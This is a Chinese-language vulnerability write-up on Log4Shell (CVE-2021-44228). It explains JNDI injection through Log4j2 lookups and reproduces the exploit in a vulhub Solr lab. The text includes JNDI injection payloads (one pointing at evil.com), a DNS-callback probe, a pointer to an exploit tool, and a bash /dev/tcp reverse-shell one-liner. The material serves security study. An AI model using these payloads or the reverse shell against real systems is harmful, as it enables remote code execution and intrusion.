参考文章:
https://www.freebuf.com/vuls/316143.html
https://www.cnblogs.com/0dot7/p/17259327.html
0x01漏洞描述
关于Log4j2
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件,但是因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似
Log4j2 Lookup
Log4j2的Lookup允许在日志配置和日志消息中动态插入变量值,这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
格式类似”${type:var}”,即可以实现对变量var的引用。type可以是如下值:
- ctx:允许程序将数据存储在 Log4j
ThreadContext
Map 中,然后在日志输出过程中,查找其中的值。 - env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:
${env:USER}
。 - java:允许查找Java环境配置信息。例如:
${java:version}
。 - jndi:允许通过 JNDI 检索变量。
- …
这次漏洞就跟jndi有关,我们接下来了解一下jndi注入的漏洞成因
漏洞成因
JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。这里就是漏洞的主要来源
由于Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
rmi:
协议
- RMI(Remote Method Invocation) 是 Java 提供的远程方法调用机制,允许一个 Java 虚拟机(JVM)调用另一个 JVM 上的对象方法。
- 在 Log4j2 漏洞中,攻击者可以通过
rmi:
协议指向一个恶意的 RMI 服务器,从而触发远程代码执行。
ldap:
协议
- LDAP(Lightweight Directory Access Protocol) 是一种用于访问目录服务的协议,常用于企业中的身份验证和资源管理。
- 在 Log4j2 漏洞中,攻击者可以通过
ldap:
协议指向一个恶意的 LDAP 服务器,返回一个恶意类或序列化对象,从而触发远程代码执行。
我们举个例子
1 | ${jndi:ldap://127.0.0.1/shell} |
当我们传入这个字符串的时候,log4j2组件就会将信息记录到日志中,并且log4j2会尝试解析这些信息,通过jndi的lookup()方法去解析该URL:ldap://127.0.0.1/shell,由于是ldap协议,所以就会去该地址下的ldap服务中寻找名为shell的资源,找到后将资源信息返回给组件,之后log4j2组件就会下载下来,假如我们的shell文件的一个恶意的.class文件,那就会执行里面的代码,从而造成注入
0x02环境搭建&漏洞复现
vulhub靶场有现成的环境
1 | cd vulhub/log4j/CVE-2021-44228/ |
使用vulhub靶场,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1
起环境后访问8983端口
然后我们对网站进行测试,用一个dns服务器起一个域名,这里我用yakit的dns服务器
1 | ${jndi:ldap://wsythhvyqt.dgrh3.cn} |
利用JNDI发送DNS请求的Payload,并且在dns服务器上成功收到回显
然后就是漏洞利用了
使用JNDI注入工具
1 | 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit |
然后我们构造反弹shell
1 | bash -i >& /dev/tcp/vps.ip/port 0>&1 |
然后用工具进行注入
我这里版本是jdk1.8的,所以直接传就行,然后监听端口就可以收到了
到此靶场的复现就完成了
0x03影响版本
Apache Log4j2 2.0.0 - 2.15.0-rc1版本